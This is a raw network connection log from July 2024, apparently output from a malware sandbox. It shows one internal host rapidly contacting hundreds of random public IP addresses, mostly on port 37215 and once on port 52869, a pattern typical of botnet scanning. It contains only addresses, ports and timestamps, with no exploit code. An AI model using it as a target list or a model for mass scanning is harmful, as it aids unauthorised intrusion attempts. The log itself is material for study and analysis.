Jul 20, 2024 23:01:01.121336937 CEST	50563	37215	192.168.2.13	95.127.78.104
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	157.6.3.222
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	197.246.47.162
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	117.36.23.169
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	109.161.60.174
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	197.186.63.77
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	157.222.62.32
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	41.54.61.209
Jul 20, 2024 23:01:01.121752024 CEST	50563	37215	192.168.2.13	192.250.16.123
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	157.168.11.85
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	157.57.229.187
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	197.202.100.72
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	41.0.82.94
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	41.206.98.201
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	197.236.132.198
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	197.165.215.111
Jul 20, 2024 23:01:01.122153044 CEST	50563	37215	192.168.2.13	197.71.39.45
Jul 20, 2024 23:01:01.122564077 CEST	50563	37215	192.168.2.13	41.105.126.48
Jul 20, 2024 23:01:01.122564077 CEST	50563	37215	192.168.2.13	197.75.146.44
Jul 20, 2024 23:01:01.122564077 CEST	50563	37215	192.168.2.13	41.99.188.243
Jul 20, 2024 23:01:01.122564077 CEST	50563	37215	192.168.2.13	41.178.130.62
Jul 20, 2024 23:01:01.124452114 CEST	50563	37215	192.168.2.13	197.60.157.83
Jul 20, 2024 23:01:01.124452114 CEST	50563	37215	192.168.2.13	197.41.106.122
Jul 20, 2024 23:01:01.124452114 CEST	50563	37215	192.168.2.13	157.23.210.51
Jul 20, 2024 23:01:01.124453068 CEST	50563	37215	192.168.2.13	197.206.158.228
Jul 20, 2024 23:01:01.124453068 CEST	50563	37215	192.168.2.13	157.95.32.119
Jul 20, 2024 23:01:01.124453068 CEST	50563	37215	192.168.2.13	41.28.20.211
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	157.111.46.252
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	41.179.242.7
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	157.177.246.64
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	41.5.77.85
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	41.156.82.109
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	157.232.52.171
Jul 20, 2024 23:01:01.126038074 CEST	50563	37215	192.168.2.13	41.34.203.45
Jul 20, 2024 23:01:01.126065016 CEST	37215	50563	41.16.188.87	192.168.2.13
Jul 20, 2024 23:01:01.126106977 CEST	50563	37215	192.168.2.13	41.16.188.87
Jul 20, 2024 23:01:01.126121044 CEST	37215	50563	157.101.155.172	192.168.2.13
Jul 20, 2024 23:01:01.126141071 CEST	37215	50563	41.52.232.204	192.168.2.13
Jul 20, 2024 23:01:01.126158953 CEST	37215	50563	41.101.139.163	192.168.2.13
Jul 20, 2024 23:01:01.126219988 CEST	50563	37215	192.168.2.13	157.101.155.172
Jul 20, 2024 23:01:01.126219988 CEST	50563	37215	192.168.2.13	41.52.232.204
Jul 20, 2024 23:01:01.126219988 CEST	50563	37215	192.168.2.13	41.101.139.163
Jul 20, 2024 23:01:01.126259089 CEST	37215	50563	41.116.129.84	192.168.2.13
Jul 20, 2024 23:01:01.126271009 CEST	37215	50563	41.69.215.32	192.168.2.13
Jul 20, 2024 23:01:01.126283884 CEST	37215	50563	9.229.43.243	192.168.2.13
Jul 20, 2024 23:01:01.126467943 CEST	37215	50563	41.49.0.8	192.168.2.13
Jul 20, 2024 23:01:01.126508951 CEST	37215	50563	134.237.85.253	192.168.2.13
Jul 20, 2024 23:01:01.126526117 CEST	37215	50563	197.97.243.165	192.168.2.13
Jul 20, 2024 23:01:01.126542091 CEST	37215	50563	72.172.109.83	192.168.2.13
Jul 20, 2024 23:01:01.126558065 CEST	37215	50563	41.155.127.53	192.168.2.13
Jul 20, 2024 23:01:01.126638889 CEST	37215	50563	157.239.214.231	192.168.2.13
Jul 20, 2024 23:01:01.126651049 CEST	37215	50563	95.127.78.104	192.168.2.13
Jul 20, 2024 23:01:01.126672029 CEST	37215	50563	157.6.3.222	192.168.2.13
Jul 20, 2024 23:01:01.126684904 CEST	37215	50563	197.246.47.162	192.168.2.13
Jul 20, 2024 23:01:01.126735926 CEST	37215	50563	117.36.23.169	192.168.2.13
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	41.116.129.84
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	41.69.215.32
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	9.229.43.243
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	41.49.0.8
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	134.237.85.253
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	197.97.243.165
Jul 20, 2024 23:01:01.126750946 CEST	50563	37215	192.168.2.13	72.172.109.83
Jul 20, 2024 23:01:01.126751900 CEST	50563	37215	192.168.2.13	41.155.127.53
Jul 20, 2024 23:01:01.126918077 CEST	37215	50563	109.161.60.174	192.168.2.13
Jul 20, 2024 23:01:01.126930952 CEST	37215	50563	197.186.63.77	192.168.2.13
Jul 20, 2024 23:01:01.126943111 CEST	37215	50563	157.222.62.32	192.168.2.13
Jul 20, 2024 23:01:01.126997948 CEST	37215	50563	41.54.61.209	192.168.2.13
Jul 20, 2024 23:01:01.127010107 CEST	37215	50563	192.250.16.123	192.168.2.13
Jul 20, 2024 23:01:01.127028942 CEST	37215	50563	157.168.11.85	192.168.2.13
Jul 20, 2024 23:01:01.127043009 CEST	37215	50563	157.57.229.187	192.168.2.13
Jul 20, 2024 23:01:01.127229929 CEST	37215	50563	197.202.100.72	192.168.2.13
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	157.239.214.231
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	95.127.78.104
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	157.6.3.222
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	197.246.47.162
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	117.36.23.169
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	109.161.60.174
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	197.186.63.77
Jul 20, 2024 23:01:01.127269983 CEST	50563	37215	192.168.2.13	157.222.62.32
Jul 20, 2024 23:01:01.127326965 CEST	37215	50563	41.0.82.94	192.168.2.13
Jul 20, 2024 23:01:01.127338886 CEST	37215	50563	41.206.98.201	192.168.2.13
Jul 20, 2024 23:01:01.127351046 CEST	37215	50563	197.236.132.198	192.168.2.13
Jul 20, 2024 23:01:01.127362967 CEST	37215	50563	197.165.215.111	192.168.2.13
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.254.242.87
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.26.201.64
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	23.143.31.176
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.142.157.84
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.107.100.241
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.68.142.144
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	41.128.250.123
Jul 20, 2024 23:01:01.127541065 CEST	50563	37215	192.168.2.13	157.57.108.10
Jul 20, 2024 23:01:01.127624989 CEST	37215	50563	197.71.39.45	192.168.2.13
Jul 20, 2024 23:01:01.127636909 CEST	37215	50563	41.105.126.48	192.168.2.13
Jul 20, 2024 23:01:01.127649069 CEST	37215	50563	197.75.146.44	192.168.2.13
Jul 20, 2024 23:01:01.127649069 CEST	50563	37215	192.168.2.13	86.195.46.101
Jul 20, 2024 23:01:01.127649069 CEST	50563	37215	192.168.2.13	197.240.102.86
Jul 20, 2024 23:01:01.127701044 CEST	37215	50563	41.99.188.243	192.168.2.13
Jul 20, 2024 23:01:01.127713919 CEST	37215	50563	41.178.130.62	192.168.2.13
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	41.54.61.209
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	192.250.16.123
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	157.168.11.85
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	157.57.229.187
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	197.202.100.72
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	41.0.82.94
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	41.206.98.201
Jul 20, 2024 23:01:01.128681898 CEST	50563	37215	192.168.2.13	197.236.132.198
Jul 20, 2024 23:01:01.128953934 CEST	50563	37215	192.168.2.13	157.126.21.140
Jul 20, 2024 23:01:01.128953934 CEST	50563	37215	192.168.2.13	157.107.41.34
Jul 20, 2024 23:01:01.128953934 CEST	50563	37215	192.168.2.13	103.35.112.210
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	197.165.215.111
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	197.71.39.45
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	41.105.126.48
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	197.75.146.44
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	41.99.188.243
Jul 20, 2024 23:01:01.129709005 CEST	50563	37215	192.168.2.13	41.178.130.62
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	48.237.210.223
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	41.243.136.123
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	42.166.246.43
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	157.92.188.29
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	41.42.230.237
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	157.51.201.11
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	47.228.92.219
Jul 20, 2024 23:01:01.130012035 CEST	50563	37215	192.168.2.13	197.44.205.176
Jul 20, 2024 23:01:01.130610943 CEST	37215	50563	197.60.157.83	192.168.2.13
Jul 20, 2024 23:01:01.130681038 CEST	37215	50563	197.41.106.122	192.168.2.13
Jul 20, 2024 23:01:01.130692959 CEST	37215	50563	157.23.210.51	192.168.2.13
Jul 20, 2024 23:01:01.130738974 CEST	37215	50563	197.206.158.228	192.168.2.13
Jul 20, 2024 23:01:01.130809069 CEST	37215	50563	157.95.32.119	192.168.2.13
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	161.51.32.232
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	157.94.207.154
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	157.251.25.8
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	153.207.68.232
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	41.158.197.156
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	197.245.86.252
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	197.83.210.19
Jul 20, 2024 23:01:01.130831003 CEST	50563	37215	192.168.2.13	157.74.107.216
Jul 20, 2024 23:01:01.130923986 CEST	37215	50563	41.28.20.211	192.168.2.13
Jul 20, 2024 23:01:01.131097078 CEST	37215	50563	157.111.46.252	192.168.2.13
Jul 20, 2024 23:01:01.131162882 CEST	37215	50563	41.179.242.7	192.168.2.13
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	197.177.65.204
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	41.232.72.237
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	197.182.160.69
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	157.8.244.252
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	157.192.240.18
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	35.167.218.249
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	157.151.146.12
Jul 20, 2024 23:01:01.131274939 CEST	50563	37215	192.168.2.13	197.15.60.208
Jul 20, 2024 23:01:01.131310940 CEST	37215	50563	157.177.246.64	192.168.2.13
Jul 20, 2024 23:01:01.131392002 CEST	37215	50563	41.5.77.85	192.168.2.13
Jul 20, 2024 23:01:01.131552935 CEST	37215	50563	41.156.82.109	192.168.2.13
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	157.93.47.121
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	207.16.225.57
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	41.165.222.75
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	157.73.208.104
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	157.255.161.107
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	23.68.145.213
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	197.190.107.156
Jul 20, 2024 23:01:01.131720066 CEST	50563	37215	192.168.2.13	41.129.199.70
Jul 20, 2024 23:01:01.132103920 CEST	37215	50563	157.232.52.171	192.168.2.13
Jul 20, 2024 23:01:01.132174969 CEST	50563	37215	192.168.2.13	197.213.235.209
Jul 20, 2024 23:01:01.132174969 CEST	50563	37215	192.168.2.13	197.170.14.175
Jul 20, 2024 23:01:01.132174969 CEST	50563	37215	192.168.2.13	41.147.187.215
Jul 20, 2024 23:01:01.132174969 CEST	50563	37215	192.168.2.13	218.104.229.247
Jul 20, 2024 23:01:01.132174969 CEST	50563	37215	192.168.2.13	157.79.125.168
Jul 20, 2024 23:01:01.132354975 CEST	37215	50563	41.34.203.45	192.168.2.13
Jul 20, 2024 23:01:01.132355928 CEST	42224	52869	192.168.2.13	204.52.130.30
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	197.60.157.83
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	197.41.106.122
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	157.23.210.51
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	197.206.158.228
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	157.95.32.119
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	41.28.20.211
Jul 20, 2024 23:01:01.132355928 CEST	50563	37215	192.168.2.13	157.111.46.252
Jul 20, 2024 23:01:01.132518053 CEST	37215	50563	41.254.242.87	192.168.2.13
Jul 20, 2024 23:01:01.132668972 CEST	37215	50563	41.26.201.64	192.168.2.13
Jul 20, 2024 23:01:01.132826090 CEST	37215	50563	23.143.31.176	192.168.2.13
Jul 20, 2024 23:01:01.133004904 CEST	37215	50563	41.142.157.84	192.168.2.13
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.179.242.7
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	157.177.246.64
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.5.77.85
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.156.82.109
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	157.232.52.171
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.34.203.45
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.254.242.87
Jul 20, 2024 23:01:01.133174896 CEST	50563	37215	192.168.2.13	41.26.201.64
Jul 20, 2024 23:01:01.133228064 CEST	37215	50563	41.107.100.241	192.168.2.13
Jul 20, 2024 23:01:01.133358002 CEST	37215	50563	41.68.142.144	192.168.2.13
Jul 20, 2024 23:01:01.133723021 CEST	37215	50563	41.128.250.123	192.168.2.13
Jul 20, 2024 23:01:01.133748055 CEST	50563	37215	192.168.2.13	23.143.31.176
Jul 20, 2024 23:01:01.133748055 CEST	50563	37215	192.168.2.13	41.142.157.84
Jul 20, 2024 23:01:01.133748055 CEST	50563	37215	192.168.2.13	41.107.100.241
Jul 20, 2024 23:01:01.133748055 CEST	50563	37215	192.168.2.13	41.68.142.144
Jul 20, 2024 23:01:01.133769035 CEST	37215	50563	157.57.108.10	192.168.2.13
Jul 20, 2024 23:01:01.133918047 CEST	37215	50563	157.126.21.140	192.168.2.13
Jul 20, 2024 23:01:01.134010077 CEST	50563	37215	192.168.2.13	197.161.85.5
Jul 20, 2024 23:01:01.134010077 CEST	50563	37215	192.168.2.13	41.250.104.175
Jul 20, 2024 23:01:01.134032011 CEST	50563	37215	192.168.2.13	41.128.250.123
Jul 20, 2024 23:01:01.134032011 CEST	50563	37215	192.168.2.13	157.57.108.10
Jul 20, 2024 23:01:01.134032011 CEST	50563	37215	192.168.2.13	157.126.21.140
Jul 20, 2024 23:01:01.134108067 CEST	37215	50563	157.107.41.34	192.168.2.13
Jul 20, 2024 23:01:01.134237051 CEST	50563	37215	192.168.2.13	157.107.41.34
Jul 20, 2024 23:01:01.134253979 CEST	37215	50563	103.35.112.210	192.168.2.13
Jul 20, 2024 23:01:01.134311914 CEST	50563	37215	192.168.2.13	103.35.112.210
Jul 20, 2024 23:01:01.134922981 CEST	37215	50563	86.195.46.101	192.168.2.13
Jul 20, 2024 23:01:01.134936094 CEST	37215	50563	197.240.102.86	192.168.2.13
Jul 20, 2024 23:01:01.134953976 CEST	50563	37215	192.168.2.13	86.195.46.101
Jul 20, 2024 23:01:01.135087013 CEST	50563	37215	192.168.2.13	197.240.102.86
Jul 20, 2024 23:01:01.135148048 CEST	37215	50563	48.237.210.223	192.168.2.13
Jul 20, 2024 23:01:01.135184050 CEST	50563	37215	192.168.2.13	48.237.210.223
Jul 20, 2024 23:01:01.135366917 CEST	37215	50563	41.243.136.123	192.168.2.13
Jul 20, 2024 23:01:01.135452986 CEST	37215	50563	42.166.246.43	192.168.2.13
Jul 20, 2024 23:01:01.135458946 CEST	50563	37215	192.168.2.13	41.243.136.123
Jul 20, 2024 23:01:01.135482073 CEST	37215	50563	157.92.188.29	192.168.2.13
Jul 20, 2024 23:01:01.135521889 CEST	50563	37215	192.168.2.13	42.166.246.43
Jul 20, 2024 23:01:01.135521889 CEST	50563	37215	192.168.2.13	157.92.188.29
Jul 20, 2024 23:01:01.135549068 CEST	37215	50563	41.42.230.237	192.168.2.13
Jul 20, 2024 23:01:01.135561943 CEST	37215	50563	157.51.201.11	192.168.2.13
Jul 20, 2024 23:01:01.135651112 CEST	50563	37215	192.168.2.13	41.42.230.237
Jul 20, 2024 23:01:01.135651112 CEST	50563	37215	192.168.2.13	157.51.201.11
Jul 20, 2024 23:01:01.135673046 CEST	37215	50563	47.228.92.219	192.168.2.13
Jul 20, 2024 23:01:01.135745049 CEST	37215	50563	197.44.205.176	192.168.2.13
Jul 20, 2024 23:01:01.135762930 CEST	50563	37215	192.168.2.13	47.228.92.219
Jul 20, 2024 23:01:01.135828018 CEST	37215	50563	161.51.32.232	192.168.2.13
Jul 20, 2024 23:01:01.135833979 CEST	50563	37215	192.168.2.13	197.44.205.176
Jul 20, 2024 23:01:01.135845900 CEST	37215	50563	157.94.207.154	192.168.2.13
Jul 20, 2024 23:01:01.135860920 CEST	37215	50563	157.251.25.8	192.168.2.13
Jul 20, 2024 23:01:01.135895967 CEST	50563	37215	192.168.2.13	161.51.32.232
Jul 20, 2024 23:01:01.135895967 CEST	50563	37215	192.168.2.13	157.94.207.154
Jul 20, 2024 23:01:01.135895967 CEST	50563	37215	192.168.2.13	157.251.25.8
Jul 20, 2024 23:01:01.136034966 CEST	37215	50563	153.207.68.232	192.168.2.13
Jul 20, 2024 23:01:01.136048079 CEST	37215	50563	41.158.197.156	192.168.2.13
Jul 20, 2024 23:01:01.136059999 CEST	37215	50563	197.245.86.252	192.168.2.13
Jul 20, 2024 23:01:01.136071920 CEST	37215	50563	197.83.210.19	192.168.2.13
Jul 20, 2024 23:01:01.136081934 CEST	50563	37215	192.168.2.13	153.207.68.232
Jul 20, 2024 23:01:01.136081934 CEST	50563	37215	192.168.2.13	41.158.197.156
Jul 20, 2024 23:01:01.136190891 CEST	37215	50563	157.74.107.216	192.168.2.13
Jul 20, 2024 23:01:01.136192083 CEST	50563	37215	192.168.2.13	197.245.86.252
Jul 20, 2024 23:01:01.136192083 CEST	50563	37215	192.168.2.13	197.83.210.19
Jul 20, 2024 23:01:01.136203051 CEST	37215	50563	197.177.65.204	192.168.2.13
Jul 20, 2024 23:01:01.136214972 CEST	37215	50563	41.232.72.237	192.168.2.13
Jul 20, 2024 23:01:01.136320114 CEST	50563	37215	192.168.2.13	41.147.16.102
Jul 20, 2024 23:01:01.136451006 CEST	50563	37215	192.168.2.13	41.254.232.86
Jul 20, 2024 23:01:01.136451006 CEST	50563	37215	192.168.2.13	157.39.183.1
Jul 20, 2024 23:01:01.136451006 CEST	50563	37215	192.168.2.13	41.195.71.240
Jul 20, 2024 23:01:01.136451006 CEST	50563	37215	192.168.2.13	157.13.205.231
Jul 20, 2024 23:01:01.136451960 CEST	50563	37215	192.168.2.13	197.197.180.136
Jul 20, 2024 23:01:01.136451960 CEST	50563	37215	192.168.2.13	197.165.35.91
Jul 20, 2024 23:01:01.136451960 CEST	50563	37215	192.168.2.13	157.158.177.4
Jul 20, 2024 23:01:01.136552095 CEST	50563	37215	192.168.2.13	157.74.107.216
Jul 20, 2024 23:01:01.136552095 CEST	50563	37215	192.168.2.13	197.177.65.204
Jul 20, 2024 23:01:01.136552095 CEST	50563	37215	192.168.2.13	41.232.72.237
Jul 20, 2024 23:01:01.136610031 CEST	37215	50563	197.182.160.69	192.168.2.13
Jul 20, 2024 23:01:01.136630058 CEST	37215	50563	157.8.244.252	192.168.2.13
Jul 20, 2024 23:01:01.136645079 CEST	37215	50563	157.192.240.18	192.168.2.13
Jul 20, 2024 23:01:01.136668921 CEST	37215	50563	35.167.218.249	192.168.2.13
Jul 20, 2024 23:01:01.136681080 CEST	37215	50563	157.151.146.12	192.168.2.13
Jul 20, 2024 23:01:01.136693001 CEST	37215	50563	197.15.60.208	192.168.2.13
Jul 20, 2024 23:01:01.136703968 CEST	37215	50563	157.93.47.121	192.168.2.13
Jul 20, 2024 23:01:01.136715889 CEST	37215	50563	207.16.225.57	192.168.2.13
Jul 20, 2024 23:01:01.136905909 CEST	37215	50563	41.165.222.75	192.168.2.13
Jul 20, 2024 23:01:01.136918068 CEST	37215	50563	157.73.208.104	192.168.2.13
Jul 20, 2024 23:01:01.136929989 CEST	37215	50563	157.255.161.107	192.168.2.13
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	197.182.160.69
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	157.8.244.252
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	157.192.240.18
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	35.167.218.249
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	157.151.146.12
Jul 20, 2024 23:01:01.137015104 CEST	50563	37215	192.168.2.13	157.93.47.121
Jul 20, 2024 23:01:01.137305021 CEST	37215	50563	23.68.145.213	192.168.2.13
Jul 20, 2024 23:01:01.137322903 CEST	37215	50563	197.190.107.156	192.168.2.13
Jul 20, 2024 23:01:01.137335062 CEST	37215	50563	41.129.199.70	192.168.2.13
Jul 20, 2024 23:01:01.137348890 CEST	37215	50563	197.213.235.209	192.168.2.13
Jul 20, 2024 23:01:01.137361050 CEST	37215	50563	197.170.14.175	192.168.2.13
Jul 20, 2024 23:01:01.137682915 CEST	37215	50563	41.147.187.215	192.168.2.13
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	157.204.202.113
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	41.139.225.227
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	190.107.182.17
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	157.55.166.112
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	157.120.224.175
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	41.9.89.130
Jul 20, 2024 23:01:01.137691021 CEST	50563	37215	192.168.2.13	157.43.151.139
Jul 20, 2024 23:01:01.137697935 CEST	37215	50563	218.104.229.247	192.168.2.13
Jul 20, 2024 23:01:01.137710094 CEST	37215	50563	157.79.125.168	192.168.2.13
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	197.15.60.208
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	207.16.225.57
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	41.165.222.75
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	157.73.208.104
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	157.255.161.107
Jul 20, 2024 23:01:01.137729883 CEST	50563	37215	192.168.2.13	23.68.145.213
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	197.117.58.99
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	94.20.181.132
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	41.126.225.218
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	157.50.38.144
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	41.148.224.255
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	157.225.30.241
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	165.174.26.193
Jul 20, 2024 23:01:01.137921095 CEST	50563	37215	192.168.2.13	41.107.78.249
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	197.253.96.95
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	41.223.36.90
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	41.210.245.221
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	41.254.173.152
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	157.78.20.96
Jul 20, 2024 23:01:01.139062881 CEST	50563	37215	192.168.2.13	197.61.160.111
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	197.190.107.156
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	41.129.199.70
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	197.170.14.175
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	197.213.235.209
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	41.147.187.215
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	218.104.229.247
Jul 20, 2024 23:01:01.139242887 CEST	50563	37215	192.168.2.13	157.79.125.168
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	41.56.245.171
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	157.168.13.157
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	188.146.228.32
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	86.113.236.205
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	41.97.217.99
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	157.236.164.175
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	197.64.193.70
Jul 20, 2024 23:01:01.140088081 CEST	50563	37215	192.168.2.13	93.196.123.213
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	175.6.226.184
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	41.98.165.87
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	197.123.40.251
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	197.4.6.114
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	85.192.194.125
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	66.197.4.160
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	197.254.4.72
Jul 20, 2024 23:01:01.140784979 CEST	50563	37215	192.168.2.13	157.84.163.96
